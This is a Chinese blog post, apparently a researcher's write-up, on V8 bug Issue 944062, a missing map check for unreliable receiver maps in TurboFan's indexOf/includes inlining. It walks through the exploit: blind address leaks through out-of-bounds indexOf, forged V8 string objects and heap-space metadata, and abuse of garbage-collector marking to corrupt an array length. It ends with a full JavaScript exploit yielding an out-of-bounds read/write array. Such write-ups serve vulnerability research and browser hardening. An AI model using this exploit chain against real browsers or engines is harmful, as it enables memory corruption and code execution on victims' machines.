【V8】Issue 944062:利用 V8 的垃圾回收机制实现任意地址写

漏洞

这个漏洞发生在 TurboFan 对数组的 indexOf 函数和 includes 函数的优化过程中。在 TurboFan 的 Inlining 阶段,会对一些 JavaScript 方法的调用进行优化,如果可以,会将其内联至 Builtins 实现的方法,Builtins 实现的方法在 V8 编译阶段已经被编译成机器骂,从而获得原生的速度。

对于数组的 indexOf 函数和 includes 函数的优化由 ReduceArrayIndexOfIncludes 来完成,如下所示(src/compiler/js-call-reducer.cc):

Reduction JSCallReducer::ReduceArrayIndexOfIncludes(
    SearchVariant search_variant, Node *node) {
    // …
    Node *receiver = NodeProperties::GetValueInput(node, 1);
    Node *effect = NodeProperties::GetEffectInput(node);
    Node *control = NodeProperties::GetControlInput(node);

    ZoneHandleSet<Map> receiver_maps;
    NodeProperties::InferReceiverMapsResult result =
        NodeProperties::InferReceiverMaps(broker(), receiver, effect, &receiver_maps);  // 这里根据 receiver 以及 effect 链推测 receiver 的 Maps
    if (result == NodeProperties::kNoReceiverMaps) return NoChange();

    ElementsKind kind;
    if (!CanInlineArrayIteratingBuiltin(broker(), receiver_maps, &kind)) {  // 这里获得 Elements Kind
        return NoChange();
    }
    
    // ...
}

从上面贴出的代码可以看到,在优化之前,首先根据 receiver(即方法的调用者)以及 effect 链推测出 receiver 所有可能的 Maps,然后根据 Maps 推导出当前数组的 Elements Kind。如果当前的 receiver 无法推测出 Maps 或者根据推测的 Maps 中的 Elements Kind 无法将当前的 indexOf 或 includes 函数进行内联,直接返回,否则可以进行进一步的内联。

在进一步内联过程中,根据当前调用的类型(indexOf 还是 includes)获得 Builtins 方法,并从 receiver 中获得数组的元素、长度等属性,结合函数的参数一起传递给获得的 Builtins 方法中。

但是 InferReceiverMaps 方法的返回值一共有三个取值(src/compiler/node-properties.h):

enum InferReceiverMapsResult {
    kNoReceiverMaps,  // 无法推测出对应的 Maps
    kReliableReceiverMaps,  // 能推测出对应的 Maps,且 Maps 是可靠的
    kUnreliableReceiverMaps  // 能推测出对应的 Maps,但是这些对象 Map 是不可靠的,有可能在后续执行的过程中被更改
}

而上述的 Reduce 函数只考虑了 kNoReceiverMaps 的情况,却没有考虑 kUnreliableReceiverMaps 的情况,这样在后续的执行过程中,如果有操作对当前数组的 Map 进行了更改,将原先以快元素存储的数组(即数组元素线性存放)更改为慢元素存储(即类似 Hash 表的方式存储),但是在后续执行过程中没有对应的检查,仍然以快元素的方式将数组的元素和长度通过 Builtins 方法调用并且遍历,就可能出现数组越界读的情况。对于快元素和慢元素如下图所示,更详细的可以参考:https://blog.crimx.com/2018/11/25/v8-fast-properties/#%E5%85%83%E7%B4%A0%E4%B8%8E%E6%95%B0%E7%BB%84%E7%B4%A2%E5%BC%95%E5%B1%9E%E6%80%A7

因此,这个漏洞的补丁也很显而易见,在推测的 result 为 kUnreliableReceiverMaps 的时候,添加 CheckMaps 结点,对数组的 Map 进行检查,如果检测到 Map 的更改,则直接 deoptimize 回字节码执行。

利用

一开始,对于这个漏洞的利用毫无头绪,毕竟 indexOf 和 includes 两个函数只能判断数组中是否存在某个元素,而不能直接读取对应索引的值,更不能对数组某个位置的值进行写入,因此认为这个漏洞无法利用。后来在网上查了一些相关的资料以及几个 Exp(https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/issue-944062https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html),发现这个漏洞还是可以利用的,不过比较麻烦。

基本的利用思想是暴力猜解出 ArrayBuffer 的 Backing Storage 的地址,然后通过对该地址的控制,伪造出多个不同类型的字符串,并通过 indexOf 的字符串的比对操作以及 V8 的垃圾回收过程的一些操作实现任意地址写,最终得到一个稳定的可越界读的数组。得到可越界读的数组之后的利用步骤就比较简单了。

地址泄漏

对 ArrayBuffer 的 Backing Storage 进行地址泄漏相对比较简单。由于我们可以通过 indexOf 来对数组进行越界读取,尽管只能返回所读取到的索引,但是我们可以借用类似 Boolean 盲注的思想,暴力猜解出指定索引处的值。但是直接暴力猜解会导致需要的次数特别庞大,因此可以借助 V8 的值表示形式来对其拆分。

由于在 V8 中的整数的存储(SMI)仅使用了高位的 4 字节,因此我们可以首先使用一个整型数组进行暴力破解。此外,由于现在 64-bit 架构的计算机均使用最多 48 位地址空间,因此对于目标地址高 4 字节的暴力猜解,实际只需要猜解出两个字节的值即可。这部分的利用代码如下:

// 位于 JIT 之后的函数中
// ...
let high_bytes = 0;
smi_arr.__defineSetter__(i, () => { });  // 改变 smi_arr 的 Map
ab = new ArrayBuffer(2 << 26);  // 创建一个 ArrayBuffer,使其位于新的 Elements 下面,来泄漏其 Backing Storage。
let smi_boundary = [1, 1, 1, 1];
for (high_bytes = 0; high_bytes < 0xffff; high_bytes++) {
    smi_boundary[0] = high_bytes;  // 用作 indexOf 的边界,防止其过多地越界访问
    let idx = smi_arr.indexOf(high_bytes, 0);
    if (idx == 20) {  // 通过调试得到对应的 Backing Storage 应存储在第 20 索引位置
        break;
    }
}
// …

接下来需要对地址的低 4 字节进行泄漏,由于在 V8 的值表示形式中,只有浮点数是以原始值的形式进行存储的,因此在这里我们需要借助浮点数数组来完成。同时,为了减少需要暴力的次数,我们在上一步申请 ArrayBuffer 的时候,申请一个很大的内存,这样申请得到的内存可以页对齐,即 4KB 对齐(最低 12 位为 0)。

在进行低 4 字节泄漏之前,我发现一个问题,如果需要重新申请一个 ArrayBuffer 来进行泄漏的话,那之前泄漏的高位地址不就不一致了吗?后来发现在 V8 中,通过 ArrayBuffer 申请 TypedArray 的时候,这个 TypedArray 中也会存放 ArrayBuffer 的 Backing Storage 的地址,因此我们只需要使用上面申请的 ArrayBuffer 创建一个 TypedArray 即可,这部分的代码如下:

// 同样位于 JIT 之后的函数中
// …
float_arr.__defineSetter__(i, ()=>{});  // 更改 Map
let tmp = new Uint32Array(ab); // Typed Array 中也会存放 ArrayBuffer 的 Backing Store 指针
let float_boundary = [1.1, 1.1, 1.1, 1.1];

let start = address2float(BigInt(high_bytes) << 32n);

// 本来应该是 0x100000000 的,但是节省时间 + 防止错误,假设第 4 字节为 0x00
// 如果不是 0x00,则需要重新执行 Exp 代码,如果在浏览器中执行刷新即可
let end = address2float((BigInt(high_bytes) << 32n) + 0x1000000n); 
let step = address2float(0x1000);

for (let j = start; j < end; j += step) {
    float_boundary[0] = j;
    if (float_arr.indexOf(j, 30) == 30) {  // 同样调试得到
        return [j, smi_boundary, float_boundary, tmp]; // 到这里会把 Backing Store 的指针泄漏出来
    }
}

暴力泄漏可以得到结果如下(由于没有在浏览器中执行,因此使用 Python 脚本对其循环调用,直到成功泄漏地址):

任意地址写

完成 ArrayBuffer 的 Backing Storage 地址的泄漏之后,我们拥有了已知地址的可控的一大段内存,接下来按照之前的思想我们可以实现 fakeObj 的利用原语。但是这里我们无法造成 Type Confusion 获取构造的 Fake Object。虽然可以使用 indexOf 进行数组越界读,但是无法获得越界读取的元素,因此也无法让 V8 对构造在可控内存中的 Fake Object 以 Object 的形式进行解读,因此无法直接使用 Fake Object 实现任意地址写。

这里可以通过 V8 的垃圾回收机制实现任意地址写,因此需要了解一下垃圾回收机制的相关内容,关于 V8 中的垃圾回收机制可以参考:http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection

现在的垃圾回收机制主要负责 3 个工作:

  1. 【标记阶段】定位正在使用的对象(live)和未使用的对象(dead)
  2. 【清理阶段】回收未使用的对象所使用的内存空间
  3. 【整理阶段】将回收的空间进行整理,去碎片化

垃圾回收机制在开始运行时,会将栈上的对象和全局对象作为根,从根开始,通过对象之间的引用查找所有可以到达的对象,并不断重复这个过程,直到所有可以到达的对象被标记出来,之后对未标记的对象的空间进行回收,最后防止内存碎片化,将回收之后的空间压缩整理。

但是每一次都完整地执行上述流程将会很费时间,特别是对于一些生命周期久的,内存占用大的对象,每次都对其进行移动将会带来很多不必要的性能开销。这里就引入了垃圾回收的重要概念,世代假设,简单来说就是大部分对象在分配之后很短的时间就会进入 dead 状态,而少量生存周期长的对象将会在很长一段时间继续生存。

为了节省垃圾回收带来的开销,V8 引入了一个称为 Minor GC(Scavenger)的垃圾回收机制。首先,在内存上,V8 将用于分配对象的内存分为两个空间:Young Generation 和 Old Generation。其中 Young Generation 又被分为 Nursery 和 Intermediate,如下图所示:

当对象进行第一次分配的时候,会被分配到 Nursery 内存区域,如果第一轮垃圾回收中,该对象存活下来,则会将该对象移动到 Intermediate 区域,如果第二轮垃圾回收该对象仍然存活,则会继续移动到 Old Generation 区域中。

这些内存区域在 V8 的代码中由 Space 表示,Space 则由一系列的 Page 组成,每个 Page 是 MemoryChunk 的子类,MemoryChunk 是 V8 中用来表示内存区域的类。每一个 Page 头部均有一些元数据,用来指示当前 Page 所属的内存区域(Young Generation 还是 Old Generation)以及一些其他属性,具体可以查看 src/heap/spaces.h 中的代码。

Minor GC 主要针对 Young Generation 内存区域中的对象,在每一个 Page 头部,除了元数据之外,还有一个指向 Marking Bitmap 的指针,在 Bitmap 中的每一位都代表内存也中的每一个字节地址。在垃圾回收过程中,每一个对象都有三个标记状态,分别为白色(未访问)、灰色(访问了该对象,但是该对象邻接对象没有访问)和黑色(该对象以及该对象的邻接对象均已访问),使用 Bitmap 的每两位来表示。因为 V8 中的每一个对象至少占用两个字节的内存,因此使用两位来表示不会导致重合。对于三色标记具体可以参考:https://liujiacai.net/blog/2018/08/04/incremental-gc/

在 Young Generation 中,采用 Smi-Space 的设计方式,使用两个相同的空间,其中一个总为空,称为 To-Space,另一个则用于申请分配新的对象,称为 From-Space。当垃圾回收初始化的时候,首先复制 From-Space 中所有可以从根对象直接到达的对象,然后进入一个大循环,在大循环中,每一次处理一个之前复制的对象,访问该对象内部的指针,如果指针指向的空间属于 From-Space,则将该指针指向的对象进行复制,同时更改对应的 Marking Bitmap。对于分代式垃圾回收机制的概念可以参考:https://liujiacai.net/blog/2018/08/18/generational-gc/

因此,在这里利用的思想是通过可以控制的内存区域(即 ArrayBuffer)伪造 Space,同时控制 Space 的 Marking Bitmap 指针,指向一个 Array 的 length 字段附近。并在该伪造的 Space 上创建对象,当垃圾回收触发时,由于会更改 Marking Bitmap 指向的某一个偏移位置,使其更改 Array 的 length 字段中的某一个字节(0x00 – > 0x11),从而可以得到一个稳定的越界读写数组,进一步造成任意地址读写。

不过这里还需要泄漏 Array 的地址,从而确定 length 字段的地址。同样可以使用之前的方式进行泄漏,但是这时 length 字段不会页对齐,暴力猜解需要时间过长。因此,最终使用的是利用 V8 中对字符串的比对。V8 中有多种类型的字符串,这里主要使用的是 SeqOneByteString 和 ConsString。

直接通过字面量声明字符串(let s1 = “AAAAAAAA”;)即可得到 SeqOneByteString:

通过多个字符串相加(let s3 = s1 + s2;)可以得到 ConsString:

在 V8 引擎中对比 String 的时候(src/objects/string.cc),如果两个字符串的第一个字符和字符串的长度相等,则会将 ConsString 进行 Flatten 操作:

bool String::SlowEquals(Isolate *isolate, Handle <String>one, Handle <String> two) {
    int one_length = one->length();
    if (one_length != two->length()) return false;
    // …
    if (one->Get(0) != two->Get(0)) return false;
    
    one = String::Flatten(isolate, one);
    two = String::Flatten(isolate, two);
    // …
}

Flatten 操作最终会调用 SlowFlatten(src/objects/string.cc)。在 SlowFlatten 中,会根据之前字符串所位于的内存区域(Young Generation 还是 Old Generation)来申请一个空间,将 left 和 right 字符串的内容存放到新的空间中,并替换原先的 left 和 right。

因此,为了泄漏 Array 的地址,我们将伪造的 ConsString 所在的 Space 的元数据设置为 Young Generation,然后通过 indexOf 越界访问对象数组,触发字符串的 Flatten 操作,从而可以获得新创建的字符串的地址,并通过偏移计算出数组的地址,利用代码如下,这里省略 ConsString 和 SeqString 类的定义,可以参考文末的 Exp(同时为了调试方便,向 V8 中添加 %AddrOf 和 %PtrAt 的 patch,这样就不需要使用前面的暴力破解方式来获得地址泄漏,可以参考:https://github.com/ray-cp/browser_pwn/blob/master/v8_pwn/issue-944062/runtime.patch):

// …
const SPACE_SIZE = 1n << 19n; // 一个 Space 是 512KB 的 Memory Chunk
const SPACE_MASK = 0xffffffffffffffffn ^ (SPACE_SIZE-1n);

let space_start_addr = (ab_addr & SPACE_MASK) + SPACE_SIZE;
let space_start_off = space_start_addr - ab_addr;

function page_round(addr) {
    if ((addr & 0xfffn) == 0n) {
        return addr;
    }
    return (addr + 0x1000n) & 0xfffffffffffff000n;
}

function u64_offset(addr) {
    return (addr - ab_addr) / 8n;
}

// 将当前 Fake String 所在的 Space 伪造成 Young Generation
u64[space_start_off / 8n + 0x1n] = 0x18n;

LEAK_STRING_SZ = 0x1;

let seq_string = new SeqString([0x4141414141414141n]); // 在 space start + 4096 的地方创建一个字符串
// 构造一个 cons string,长度为 0x1,left 和 right 均为 seq_string 对应的字符串
let root_string = new ConsString(BigInt(LEAK_STRING_SZ), seq_string.addr, seq_string.addr);

function foo(i, arr, to_search, to_copy) {
    arr.__defineSetter__(i, ()=>{});
    let a = [1.1, to_copy];
    let boundary = [to_search];
    return [arr.indexOf(to_search), a, boundary];
}

for (let i = 0; i < 100000; i++) {
    foo('', [Array], '', 1.1);
}

function doit(to_search, to_copy) {
    return foo('100000', [Array], to_search, to_copy)[0];
}
doit('A'.repeat(LEAK_STRING_SZ), address2float(root_string.addr | 1n));  // 触发 indexOf 的越界读,使得伪造的 ConsString 被 Flatten
let corrupted_array = [1.1, 1.2, 1.3];
let corrupted_array_addr = u64[root_string.off + 2n] + 0x40n;  // 通过偏移得到对应地址
let backing_store_sz_addr = corrupted_array_addr + 0x18n;

泄漏了对应地址之后,即可利用垃圾回收机制更改 corrupted_array 的 length 字段,实现稳定的越界读写(但是由于垃圾回收机制的不稳定性,在这个过程中可能会出现 V8 崩溃的情况,目前还不知道如何解决这个问题)。

Exp

var g_buffer = new ArrayBuffer(16);
var g_float64 = new Float64Array(g_buffer);
var g_uint64 = new BigUint64Array(g_buffer);

function float2address(f) {
    g_float64[0] = f;
    return g_uint64[0];
}

function address2float(addr) {
    let i = BigInt(addr);
    g_uint64[0] = i;
    return g_float64[0];
}

function hex(i) {
    return '0x' + i.toString(16).padStart('0');
}

// =================================================================
// Start Pwn
// =================================================================

// 方便调试,注释掉内存泄漏部分,直接使用 %AddrOf
// function leak(i, smi_arr, float_arr) {
//     let high_bytes = 0;
//     smi_arr.__defineSetter__(i, () => { });
//     ab = new ArrayBuffer(2 << 26);
//     let smi_boundary = [1, 1, 1, 1];
//     for (high_bytes = 0; high_bytes < 0xffff; high_bytes++) {
//         smi_boundary[0] = high_bytes;
//         let idx = smi_arr.indexOf(high_bytes, 0);
//         if (idx == 20) {
//                 break;
//         }
//     }
//     float_arr.__defineSetter__(i, ()=>{});
//     let tmp = new Uint32Array(ab);  // Typed Array 中也会存放 ArrayBuffer 的 Backing Store 指针
//     let float_boundary = [1.1, 1.1, 1.1, 1.1];

//     let start = address2float(BigInt(high_bytes) << 32n);
//     let end = address2float((BigInt(high_bytes) << 32n) + 0x1000000n);  // 本来应该是 0x100000000 的,但是节省时间 + 防止错误,暴力破解一位
//     let step = address2float(0x1000);

//     for (let j = start; j < end; j += step) {
//         float_boundary[0] = j;
//         if (float_arr.indexOf(j, 30) == 30) {
//             return [j, smi_boundary, float_boundary, tmp];  // 到这里会把 Backing Store 的指针泄漏出来
//         }
//     }
// }

// for (let i = 0; i < 10; i++) {
//     leak('', [1], [1.1]);
// }
// let res = leak('10000', [1], [1.1]);

// if (res == undefined) {
//     quit();
// }

let u64;
ab = new ArrayBuffer(2 << 26);
// let ab_addr = float2address(res[0]);
let ab_addr = %PtrAt(% AddrOf(ab) - 1n + 0x20n);
u64 = new BigUint64Array(ab);
print("Array Buffer Address: " + hex(ab_addr));

const SPACE_SIZE = 1n << 19n;  // 一个 Space 是 512KB 的 Memory Chunk
const SPACE_MASK = 0xffffffffffffffffn ^ (SPACE_SIZE-1n);

let space_start_addr = (ab_addr & SPACE_MASK) + SPACE_SIZE;
let space_start_off = space_start_addr - ab_addr;

print("Array Buffer Address: " + hex(ab_addr));
print("Space Start Address:  " + hex(space_start_addr));
print("Space Start Offset:   " + hex(space_start_off));

let free_mem = space_start_addr + 4096n;

function page_round(addr) {
    if ((addr & 0xfffn) == 0n) {
        return addr;
    }
    return (addr + 0x1000n) & 0xfffffffffffff000n;
}

function u64_offset(addr) {
    return (addr - ab_addr) / 8n;
}

class ConsString {  // CONS_ONE_BYTE_STRING_TYPE
    constructor(size, left, right) {
        let data = [(size<<32n) | 0x00000003n, left|1n, right|1n];
        size = BigInt(data.length) * 8n;
        this.addr = free_mem;
        free_mem += page_round(size);
        this.map = free_mem;
        free_mem += page_round(0x9n*8n);
        this.off = u64_offset(this.addr);
        u64[this.off] = this.map|1n;
        for (let i = 0n; i < data.length; i++) {
            u64[this.off + 1n + i] = data[i];
        }

        // 字符串的 Map
        let map_off = u64_offset(this.map);
        u64[map_off + 0x0n] = 0x12345n;
        u64[map_off + 0x1n] = 0x190000292900a804n;
        u64[map_off + 0x2n] = 0x82003ffn;  // bitfield 3
        u64[map_off + 0x3n] = 0x41414141n; // prototype
        u64[map_off + 0x4n] = 0x41414141n; // constructor or back ptr
        u64[map_off + 0x5n] = 0n;          // transistions or proto info
        u64[map_off + 0x6n] = 0x41414141n; // instance descriptors
        u64[map_off + 0x7n] = 0n;          // layout descriptor
        u64[map_off + 0x8n] = 0x41414141n; // dependent code
        u64[map_off + 0x9n] = 0n;          // prototype validity cell
    }
}

class SeqString {  // ONE_BYTE_INTERNALIZED_STRING_TYPE
    constructor(data) {
        data = [(BigInt(data.length*8) << 32n | 0xdf61f02en)].concat(data);
        let size = BigInt(data.length) * 8n;
        this.addr = free_mem;  // 字符串的地址
        free_mem += page_round(size);
        this.map = free_mem;  // 字符串的 Map 地址
        free_mem += page_round(0x9n*8n);
        this.off = u64_offset(this.addr);
        u64[this.off] = this.map|1n;
        for (let i = 0n; i < data.length; i++) {
            u64[this.off + 1n + i] = data[i];
        }
        // 字符串的 Map
        let map_off = u64_offset(this.map);
        u64[map_off + 0x0n] = 0x12345n;
        u64[map_off + 0x1n] = 0x190000080400a804n;
        u64[map_off + 0x2n] = 0x82003ffn;  // bitfield 3
        u64[map_off + 0x3n] = 0x41414141n; // prototype
        u64[map_off + 0x4n] = 0x41414141n; // constructor or back ptr
        u64[map_off + 0x5n] = 0n;          // transistions or proto info
        u64[map_off + 0x6n] = 0x41414141n; // instance descriptors
        u64[map_off + 0x7n] = 0n;          // layout descriptor
        u64[map_off + 0x8n] = 0x41414141n; // dependent code
        u64[map_off + 0x9n] = 0n;          // prototype validity cell
    }
}

// 将当前 Fake String 所在的 Space 伪造成 Young Generation
u64[space_start_off / 8n + 0x1n] = 0x18n;

LEAK_STRING_SZ = 0x1;

let seq_string = new SeqString([0x4141414141414141n]);  // 在 space start + 4096 的地方创建一个字符串
// 构造一个 cons string,长度为 0x1,left 和 right 均为 seq_string 对应的字符串
let root_string = new ConsString(BigInt(LEAK_STRING_SZ), seq_string.addr, seq_string.addr);
print(hex(root_string.addr));
function foo(i, arr, to_search, to_copy) {
    arr.__defineSetter__(i, ()=>{});
    let a = [1.1, to_copy];
    let boundary = [to_search];
    return [arr.indexOf(to_search), a, boundary];
}

for (let i = 0; i < 100000; i++) {
    foo('', [Array], '', 1.1);
}

function doit(to_search, to_copy) {
    return foo('100000', [Array], to_search, to_copy)[0];
}

doit('A'.repeat(LEAK_STRING_SZ), address2float(root_string.addr | 1n));
let corrupted_array = [1.1, 1.2, 1.3];

let corrupted_array_addr = u64[root_string.off + 2n] + 0x40n;
% DebugPrint(corrupted_array);
print(hex(corrupted_array_addr));
let backing_store_sz_addr = corrupted_array_addr + 0x18n;
print(hex(backing_store_sz_addr));

GC_STRING_SZ = 0x30000000;

u64[space_start_off/8n + 0x0n] = 0x1234n;
u64[space_start_off/8n + 0x1n] = 0x18n;
// marking bitmap pointer
// 通过调试确定偏移
u64[space_start_off/8n + 0x2n] = backing_store_sz_addr + 4n - (0x70n * 0x4n);
u64[space_start_off/8n + 0x6n] = space_start_addr;
// incremental_marking ptr
u64[space_start_off/8n + 0xf7n] = space_start_addr;

seq_string = new SeqString([0x4141414141414141n]);
root_string = new ConsString(BigInt(GC_STRING_SZ), seq_string.addr, seq_string.addr);
// root_string = new ConsString(BigInt(GC_STRING_SZ), seq_string.addr, seq_string.addr);
print(hex(seq_string.addr));
print(hex(root_string.addr));
// % SystemBreak();
doit('A'.repeat(GC_STRING_SZ), address2float(root_string.addr | 1n));
// % DebugPrint(corrupted_array);
// % SystemBreak();
print("End");
corrupted_array[100] = 1.1;
console.log('=== OOB array leak ===');
for (let i = 0; i < 100; i++) {
  console.log((corrupted_array[i]));
}

参考

Leave a Reply

Your email address will not be published. Required fields are marked *